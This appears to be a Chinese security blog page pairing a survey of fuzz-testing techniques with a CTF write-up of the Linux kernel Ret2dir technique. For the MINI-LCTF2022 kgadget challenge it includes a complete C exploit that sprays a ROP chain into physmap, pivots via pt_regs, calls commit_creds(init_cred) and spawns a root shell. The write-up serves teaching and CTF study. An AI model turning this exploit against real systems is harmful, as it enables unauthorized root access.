[Paper] CarpetFuzz: Automatic Program Option Constraint Extraction from Documentation for Fuzzing

[Paper] Homo in Machina: Improving Fuzz Testing Coverage via Compartment Analysis

😃



### 模糊测试技术综述

---



#### Fuzz发展历史

- 1988年 诞生了一款软件`Fuzz`以生成随机的字符串对以字符串为输入对象的程序进行测试 主要目的是以非常规数据测试其鲁棒性 [黑盒]
- 2001年 `Protos`首次将模糊测试应用到网络协议 模糊测试成为实用性工具的开始 [黑盒]
- 2004年 `Peach`由用户定义输入数据的数据模型 是基于语法生成输入思想的早期应用 [黑盒]
- 2007年 `Sage`基于符号执行 在执行过程中收集条件语句 通过约束求解器进行求解生成新的输入 [白盒]
- 2008年 `jsfunfuzz`根据语言模型生成随机但语法正确的输入 这种基于语法生成输入的思想 成为以后针对高度结构化的测试目标的重要指导思想 [白盒]
- 自此 因为受到符号执行资源开销过大的限制 Fuzz分为两个优化路线
  - 继续改进白盒模糊测试
    - 2009年 `Vganesh`使用污点测试技术替代了符号执行技术 将执行过程中的变量值与输入部分做关联进而知道模糊测试的变异策略 这种思想也被用于灰盒测试中 [白盒]
  - 利用少量内部信息进行模糊测试
    - 2013年 `AFL`以覆盖率为导向的模糊测试软件 通过插桩的方式采集输入数据对应的边覆盖率 作为模糊测试种子选取的衡量标准 [灰盒]



#### 模糊测试的流程

- 预处理: 搜集目标相关信息并且指定模糊测试的策略 为监控目标在测试中的运行状态做准备
- 输入构造: 获取一定量的种子 随后确定种子的能量分配策略 种子的优先级 种子的突变策略 最后根据这些信息获取大量输入数据
- 输入选择: 尝试通过提前筛选不合格输入数据 以节省模糊测试的时间
- 评估: 设计合适的实验 依照评估指标对模糊测试进行评估
- 结果分析: 对结果进行去重 复现 分析 威胁性评估



##### 预处理

- 预处理环节的目标是搜集目标相关的信息 比如目标的输入数据格式 目标的内部结构 并且为监控测试中目标的状态变化做必要的准备
- 主要挑战是: 1. 使用什么程序分析技术 2. 模糊测试究竟需要对目标内部信息有多详细的了解



###### 分析技术与获取的信息

- 插桩: 通过向目标的代码中合适的位置添加预设好的代码 以获取程序的抽象语法树 覆盖率 函数内变量取值等信息
  - 静态插桩: 在源码或者中间代码的编译过程中进行插桩 常见的如通过GCC编译器在汇编语言上插桩 或者在LLVM的中间语言LLVM_IR上插桩 
    - 优点: 节省时间 速度快
    - 缺点: 依赖于程序源码
  - 动态插桩: 运行过程中对运行过的代码进行插桩 如利用QEMU等模拟技术进行动态插桩 可以获得程序运行时的信息
    - 缺点: 资源开销大
- 符号执行: 将程序行为的推理归结为逻辑领域的推理 通过构建一个表示程序执行的逻辑公式 可以同时推断一个程序在不同输入上的行为 该方法可以使Fuzz获得更高的覆盖率
  - 静态符号执行: 通常会因为程序的循环 条件跳转陷入路径爆炸 或者存在约束求解失败的问题 所以基本废弃
  - 动态符号执行: 通过对程序的实际执行和符号化执行 维护程序的实际状态和符号状态 通过难以求解的约束替换为实际值 缓解静态符号执行的问题 并且按照深度优先的搜索策略对目标程序进行探索
    - 由于程序分支的存在 动态符号执行路径爆炸问题依然存在 解决方法是可以采取一种启发式的方法 选择比较重要的路径进行探索
    - 采取了实际值替换的方法 可以解决一部分静态符号执行无法求解的约束 但是会丢失一部分路径
    - 受限于约束求解方法的能力
- 污点分析: 观测程序中哪些程序数据受到了预先准备好的污染源(通常为输入)的污染 目的是跟踪污染源和汇聚点之间的程序流
  - 静态污点分析: 通过对程序的静态分析获取程序控制流图 抽象语法树等信息 依照数据流和依赖关系进行污点分析
    - 缺点: 可能会陷入路径爆炸 而简化之后会存在严重的过度污染情况
  - 动态污点分析: 在程序的实际执行过程中 利用程序的动态执行信息进行污点分析
    - 优点: 可信度更高
    - 缺点: 检测结果是否全面取决于动态污点分析对程序的覆盖情况 消耗更多的资源



###### 模糊测试在预处理阶段的类型分类

- 黑盒模糊测试: 数据驱动的测试 只能获得诸如目标输入格式等内部无关的信息 只能通过检测目标的数据数据对目标的状态进行判断
  - 优点: 可以针对不开源的目标 黑盒测试工具设计简单 开发和检测速度快
  - 缺点: 由于不了解目标内部信息 会生成大量无效输入 导致测试的覆盖率偏移 且检测深层漏洞能力有限
- 灰盒模糊测试: 只获取部分的内部信息用于模糊测试
- 白盒模糊测试: 可以获得充足的内部信息 通常采用符号执行的方法 近些年通常研究尝试加速符号执行的速度 或者将符号执行和模糊测试分为两个阶段
  - 优点: 可以生成高质量输入数据 在覆盖率和深层漏洞监测上有更高的表现
  - 缺点: 可能会陷入路径爆炸 对程序的细致全面分析会消耗大量资源 严重影响模糊测试的效率



##### 实际测试环节

- 输入构造
- 输入选择
- 评估



###### 输入构造

- 一般来说 输入构造环节是为了构造出大量可以被检测目标执行 用于模糊测试的输入数据
- 挑战在于 如何在满足语法语义检查的情况下快速生成大量输入

针对存在的问题 普遍做法是 首先得到一个数据S 然后S按照一定的策略进行一定次数的变异  获得大量新数据I 最后将I输入到测试对象中进行测试 其中S被称为种子

这样做的好处是可以通过精心构造的种子快速变异出大量高质量的输入数据 其中种子需要经过`种子获取` `种子筛选` `种子突变`三个截断才能获得高质量输入数据



- 种子获取: 可以是准备好的高质量数据集 也可以是通过模型生成得到 或者是按照一定的策略从执行过的数据中进行选择
- 种子筛选:  获得备选种子之后针对种子池中的备用中医进行筛选划分不同权重 以确定每个种子用来生成多少输出
  - 种子的能量分配: 一个种子所蕴含的能量代表着该种子可以生成输入的多少 能量越高获得的输入也就越多 不同的能量分配厕所不仅可以提高模糊测试的执行速度 还可以引导模糊测试到指定位置进行检测
  - 种子的优先级: 种子的优先级决定了模糊测试到种子池中选择种子的顺序 通常来说种子的长度是影响种子优先级的一个重要因素 在对覆盖率贡献相同的情况下 越短的输入数据优先级就应该越高 因为较短的输入数据占用内存少 会加快模糊测试的速度

- 种子突变: 种子需要在突变策略的引导下快速的生成大量输入数据 变异的策略直接决定了变异生成数据的好坏 按照突变策略的不同分为黑盒突变和导向型突变
  - 比特翻转: 按照比特位进行一定步长或连续翻转几个比特位
  - 简单算术运算: AFL常用的变异算法 按照8b的步长 依次按照8b 16b 32b的宽度 从头开始做加减操作
  - 覆盖: 使用一些预设的值覆盖种子的某些部分
  - 插入: 使用一些预设的值插入到种子的某些部分中
  - 删除: 删除种子的某一部分
  - 拼接: 将差异较大的两个种子进行拼接
  - 黑盒突变: 不依赖目标的相关信息 依照随机突变策略对种子进行突变 常作为整体突变策略的一部分出现
    - 优点: 可以快速大量的生成输入
  - 导向型突变: 通过程序分析技术 得到种子与程序状态的关系 依此制定突变策略 针对感兴趣的程序状态生成响应的测试数据 使突变后的输入尽可能的将程序引导向预期的程序状态 或者获得相应的性能提升 具体来说导向型突变分为程序状态导向性突变和性能导向型突变
    - 程序状态导向型突变: 通过程序分析技术 得到种子与程序状态的关系 依此制定突变策略 针对感兴趣的程序状态生成响应的测试数据
    - 性能导向突变: 不会试图分析属于与程序内部状态的关系 而是根据输入数据同模糊测试评估指标的关系指定突变的策略



###### 输入选择

主要目的是在输入被实际执行之前尽量将其中的无效数据滤除掉 以节省执行时间 采取机器学习的方式是个不错的选择



###### 评估

主要目的是选取一个合适的评估指标 用于评估模糊测试执行结果 从而帮助模糊测试指定合理的策略并反映模糊测试检测漏洞的真实能力

现阶段主要聚焦在模糊测试的两个指标上的表现: `覆盖率` `暴露漏洞平均时间`

- 覆盖率: 指的是在测试过程中 对象被覆盖到的数目占总数的比例 通常来说 高覆盖率更可能发现更多的隐藏漏洞
  - 基于上下文无关的边覆盖率
  - 上下文敏感的分支覆盖率
  - 块覆盖率
- 暴露漏洞平均时间: 更接近模糊的本质



#### 略

[Paper] 模糊测试技术综述

😀



### KernelPwn - Ret2Dir

---



#### 简述

Ret2dir是比亚大学网络安全实验室在 2014 年提出的一种内核利用手法 主要弥补了在Ret2usr被封堵之后对于用户态和内核态交互上利用的缺憾 其主要利用的是在Linux内核中的一块`内存映射区(direct mapping of all physical memory)` 这块`内存映射区`存在于内核空间之中 且其在64位系统下对于所有的内存页面都有直接映射 在32位系统下有891M映射 如果在攻击者大量喷射页面的情况下 就有可能在访问内存映射区的后半部分时 直接访问到用户态的数据 这就重新构建起内核态和用户态数据交互的通道 如果在可以控制内核程序流的情况下 就有可能利用内核态栈迁移等方法实现提权



#### 内存映射区

根据论文中的描述以及内核文档描述 在地址`ffff888000000000`的位置有一块64T大小的内存空间 用于直接映射整体的内存页面 此块映射表采用的是LRU(最近最久未使用)算法进行替换操作 在64位情况下基本不存在映射满的情况 但是在32位情况下有可能

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230620114059.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230620175325.png)



论文中采用的内核版本是`kernel v3.8.13`在当时这块内存区域还拥有可执行权限 所以论文中提到了一种直接喷射大量shellcode 然后在内核态跳上去执行的手法 算是`Ret2usr`的平替 但是在论文发表之后 随着内核版本的更新 这段区域已经不具有可执行权限 所以`Ret2dir`手法现在只能用作ROP



#### 利用思路

整体利用思路非常简单 堪称力大砖飞的典范 基本要求是程序流可控

- 使用mmap大量喷射页面 同时写入ROP Chain
- 暴力搜索 搜索映射区内存找到写入的ROP Chain
- 栈迁移到找到的ROP Chain上
- 提权

当然一般程序内部不会有搜堆的机会 所以可以利用论文中提到的`physmap spray`手法 直接大量喷射页面 然后随机挑选直接映射区的页面进行栈迁移 在64位情况下根据论文描述 1G内存成功率在65%左右 2G成功率88% 16G成功率96%



#### pt_regs通用稳定ROP

通常来说系统调用`syscall` 会进入到`entry_SYSCALL_64`中根据系统调用表跳转到指定的函数进行系统调用处理 可以稍微看一眼源码

```asm
SYM_CODE_START(entry_SYSCALL_64)
	UNWIND_HINT_ENTRY
	ENDBR

	swapgs
	/* tss.sp2 is scratch space. */
	movq	%rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
	SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
	movq	PER_CPU_VAR(pcpu_hot + X86_top_of_stack), %rsp

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR

	/* Construct struct pt_regs on stack */
	pushq	$__USER_DS				/* pt_regs->ss */
	pushq	PER_CPU_VAR(cpu_tss_rw + TSS_sp2)	/* pt_regs->sp */
	pushq	%r11					/* pt_regs->flags */
	pushq	$__USER_CS				/* pt_regs->cs */
	pushq	%rcx					/* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
	pushq	%rax					/* pt_regs->orig_ax */

	PUSH_AND_CLEAR_REGS rax=$-ENOSYS
	...
```

可以看到执行了一条汇编`PUSH_AND_CLEAR_REGS rax=$-ENOSYS`  此条命令会将所有的寄存器压入栈内 形成`pt_regs`结构体 

```c
struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};
```

众所周知 内核栈大小为一页 而栈是高地址向低地址生长 所以如果我们不在乎系统调用之后的返回情况的话 在系统调用之前使用汇编对寄存器写入我们想要ROP的地址 然后寻找一条`add rsp,$value; ret`的指令 直接将栈抬到`pt_regs`结构体的位置 那么就可以实现通用可控的ROP



#### MINI-LCTF2022 - kgadget



文件结构还是老样子

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621114101.png)



开启了`smep` `smap`所以不能使用`ret2usr` 但是没有开启`kaslr` 也就是说不需要泄漏内核基址

```sh
#!/bin/sh
qemu-system-x86_64 \
	-m 256M \
	-cpu kvm64,+smep,+smap \
	-smp cores=2,threads=2 \
	-kernel bzImage \
	-initrd ./rootfs.cpio \
	-nographic \
	-monitor /dev/null \
	-snapshot \
	-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
	-no-reboot 

```



整体流程很简单 如果传入的控制码为`0x1BF52` 那么就跳转到传入的参数处执行 那么可以思考一下上述说过的`Ret2dir`手法 现在已经可以控制程序执行流了 那么如果我们页喷`ROP Chain`的话 是不是就有可能在`Direct mapping arena`找到呢

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621114319.png)



通过汇编可以发现 最后是调用`call [rbx]` 但是目前有一个问题就是 虽然目前可以控制程序流 但是一条指令是没有办法实现栈迁移的 而且目前只能控制程序流 控制不了当前的内核栈 这里就要用到通用的ROP手法`pt_regs` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621172332.png)



因为没有开启地址随机化 所以可以直接去掉`kptr_restrict` 然后去`/proc/kallsyms`拿到所有函数地址

```sh
#!/bin/sh
chown -R 0:0 /
mount -t tmpfs tmpfs /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

echo 1 > /proc/sys/kernel/dmesg_restrict
# echo 1 > /proc/sys/kernel/kptr_restrict

chown 0:0 /flag
chmod 400 /flag
chmod 777 /tmp

insmod kgadget.ko
chmod 777 /dev/kgadget

cat /root/banner
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 0 sh
poweroff -d 0 -f
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621122632.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621172028.png)



bzImage提取vmlinux 这样就可以从内核中寻找gadget了

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621123415.png)





虽然没有找到`swapgs; itreq`的组合 但是可以通用调用`swapgs_restore_regs_and_return_to_usermode` 起始点指向`mov rdi,rsp`即可

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621172049.png)



那么EXP就很简单了 构造`ROP Chain` 然后页喷 然后构造`pt_regs结构体` 最后通用调用即可

```c
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>


// gcc exp.c -o exp -static -masm=intel -g

size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t push_rax = 0xffffffff810048ea;
size_t swapgs = 0xffffffff81c00fcb;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t ret = 0xffffffff8108c6f1;
size_t add_rsp_0xa0_pop_rbx_pop_rbp_ret = 0xffffffff811581b2;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t try_hit;
size_t fd;

void saveStatus()
{
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("Status has been saved...\n");
}

void spawn_shell()
{
    system("/bin/sh");
    exit(0);
}

int main(void)
{   
    saveStatus();
    fd = open("/dev/kgadget", O_RDWR);
    size_t *ptr;
    size_t ROP[0x100];
    int j = 0;
    ROP[j++] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
    ROP[j++] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
    for( ; j < 0x1000 / 8 - 0x100; j++)
    {
        ROP[j] = ret;
    }
    ROP[j++] = pop_rdi_ret;
    ROP[j++] = init_cred;
    ROP[j++] = commit_creds;
    ROP[j++] = swapgs;
    ROP[j++] = 0;
    ROP[j++] = 0;
    ROP[j++] = spawn_shell;
    ROP[j++] = user_cs;
    ROP[j++] = user_rflags;
    ROP[j++] = user_sp;
    ROP[j++] = user_ss;
    

    for (int i, j = 0; i < 15000; i++)
    {
        ptr = (size_t*) mmap(NULL, 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(ptr, ROP, 0x1000);
    }
    
    try_hit = 0xffff888000000000 + 0x7000000;
    __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    pop_rsp_ret;"   // stack migration again
        "mov r8,    try_hit;"
        "mov rax,   0x10;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   try_hit;"
        "mov rsi,   0x1bf52;"
        "mov rdi,   fd;"
        "syscall"
    );
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230621174018.png)